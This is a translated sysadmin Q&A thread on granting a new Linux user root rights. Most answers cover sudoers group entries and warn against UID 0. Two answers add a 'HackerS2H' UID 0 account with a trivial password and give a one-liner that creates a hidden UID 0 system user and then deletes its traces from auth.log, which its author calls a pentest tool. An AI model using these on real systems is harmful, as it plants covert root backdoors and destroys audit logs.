добавить нового пользователя с root-доступом в Linux


31

Я хочу добавить нового пользователя и предоставить / предоставить этому новому пользователю все права root, как я могу это сделать?

Я сделал, sudo adduser --system testuserно это не работает, как я ожидал.

Спасибо за помощь.

Ответы:


62

На самом деле есть три способа сделать это: правильный путь, неправильный путь и ужасный путь.

Сначала создайте учетную запись обычного пользователя.

adduser username

Затем выберите один из следующих вариантов:


Правильный путь

Создайте sudoзапись для wheelгруппы /etc/sudoersследующим образом:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Или для «современных» версий:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Затем добавьте пользователя в wheelгруппу. Добавление и удаление пользователей с административными привилегиями теперь становится функцией запоминания добавления их в wheel вместо создания записи в sudo. Преимущество использования wheel заключается в том, что вы можете расширить этот механизм в другие схемы аутентификации, которые поддерживают группы, например winbind / Active Directory, и воспользоваться преимуществами этого процесса. Это можно сделать, сопоставив колесо с группой в вашей схеме аутентификации, имеющей права администратора.

Обратите внимание, что в некоторых дистрибутивах используются разные административные учетные записи. Колесо является «традиционным» подход к этому, но вы можете столкнуться admin, admи другие учетные записи групп , которые служат той же цели.

Последующее редактирование:

Я должен дать точку зрения Барту Сильверстриму за то, что он указал, что Ubuntu использует adminв качестве группы для этой цели. Сначала он добрался до этого, хотя в то время я не заметил тега Ubuntu. Опять же, все зависит от того, какой дистрибутив вы используете.


Гадкий Путь

Создайте запись sudo для рассматриваемой учетной записи пользователя и затем предоставьте полный доступ. Опять же, вы создаете запись /etc/sudoersследующим образом:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

ДОБАВЛЕНО: ## Для версии Ubuntu: имя пользователя ВСЕ = (ВСЕ: ВСЕ)

Это замечательно, если у вас есть только одна (или две) нормальные учетные записи. Это ужасно, если у вас есть сотни учетных записей на нескольких (геофизических) сайтах, и вам нужно постоянно поддерживать файл sudo.


Неправильный путь

Вы можете отредактировать /etc/passwdфайл и изменить идентификатор учетной записи пользователя с любого номера на 0. Это верно, ноль .

username:x:0:502::/home/username:/bin/bash

Видите эту третью запись как ноль? Когда вы входите в эту учетную запись, вы, для всех эффективных целей root. Я не рекомендую это. Если вы не помните, «кто вы», вы можете создать все виды хаоса, когда начинаете создавать и трогать файлы как root. Вы также можете добавить свое имя пользователя в rootгруппу. Это имеет тот же эффект для доступа к файлам, но создает другие проблемы; программы заметят, что вы не являетесь пользователем, root и откажутся запускаться, но вы получите доступ к файлам, принадлежащим группе root .

Если вы сделали это, вы использовали vipwвместо того, чтобы просто редактировать vi, верно? (или каков ваш любимый текстовый редактор). В конце концов, одна опечатка в этом файле может заблокировать вас из вашей системы - и это означает физический визит к рассматриваемому компьютеру с ремонтным диском ...


2
Я бы даже не задокументировал неправильный путь. Слишком табу.
Elcuco

15
Я не согласен. Если вы скрываете неправильное, оно не исчезает, оно просто гниет, а иногда знание о том, что что-то запрещено, привлекает больше внимания, чем следовало бы. Лучше понять, почему это табу. Особенно, когда есть (по общему признанию, редкие) обстоятельства, когда вам могут понадобиться эти знания. Тем не менее, я дам вам точку, чтобы указать, насколько действительно могут быть плохие вещи. :)
Эйвери Пейн

1
«В конце концов, одна опечатка в этом файле может заблокировать вас из вашей системы» - нет, это может блокировать вас после того, как вы отключите все сеансы Putty (при условии, что вы используете Putty). Пока вы не отключаетесь, а просто открываете другой сеанс, чтобы проверить свои настройки, у вас все нормально в этом отношении.
Quamis

1
@quamis - правда. Хотя я пытался указать на опасность, полагая, что «выстрелить и забыть» безопасно. :) Точка для вас тоже, для указания на хорошую практику - всегда проверяйте настройки после этого .
Эйвери Пейн

1
Я просто хотел бы отметить, что то, что традиционно было «колесной» группой (с бинарным повышением уровня флага) в Unix, больше не является общим термином для группы пользователей, которые могут повышаться с помощью sudo. Исходя из моего опыта, наиболее распространенное имя группы людей, которые могут использовать sudo, в настоящее время обычно называется «sudoers» и уже настроено на большинстве систем.
Боян Маркович

3

Я использовал это в течение многих лет, и это рекомендуемый способ # 1 добавить sudoer в AskUbuntu :

adduser existinguser sudo

Гораздо проще, чем редактирование файлов, и легко добавить сценарий оболочки для автоматической установки.

Если вы хотите создать пользователя и предоставить права sudo, вы можете сделать это в одной строке, например:

useradd newuser -m -G sudo
passwd newuser

-mсоздал домашний каталог и -Gуказывает дополнительную группу.


2

и с этим 100%

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

и соединиться с замазкой и ip сервером


1

Ну, вы можете создать пользователя с Adduser, смотрите Man Adduser.
После вы можете добавить его в привилегированную группу, например, root или wheel. Но я думаю, что наиболее рекомендуемый способ получить разрешение - использовать sudo.


1

Вы можете выполнить:

#useradd -m -g root alex

он создает пользователя Alex с домашним каталогом, который принадлежит к корневой группе


1

Дополнение к ответу Эйвери Пейна: в Ubuntu вы можете захотеть так:

%sudo   ALL=(ALL:ALL) ALL

И не так

%sudo    ALL=(ALL) ALL

0

"Гадкий и грязный" способ - отредактировать / etc / passwd так, чтобы UID = 0 И GID = 0 для нового пользователя. Но это создает много угроз безопасности . Вы знаете, что если он также является пользователем root, он может отключить ваш аккаунт, изменить свой пароль, сделать вас "обычным пользователем" ... верно? так почему бы просто не дать ему свой аккаунт?

Вы можете изучить, как работает suid ( http://en.wikipedia.org/wiki/Setuid ), если вы хотите предоставить ему root-доступ только для нескольких команд.


-1

Вот один вкладыш:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Лучший,


1
Добавление дополнительных пользователей с uid 0 не очень хорошая идея ... подробности смотрите в ответе с наибольшим количеством голосов.
Джеральд Шнайдер

@GeraldSchneider Я никогда не говорил, что это хорошая идея ... Я хорошо знаю ... и, честно говоря, это не наша забота. Это один лайнер, используйте его в пентестах все время. С уважением
Бошко
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.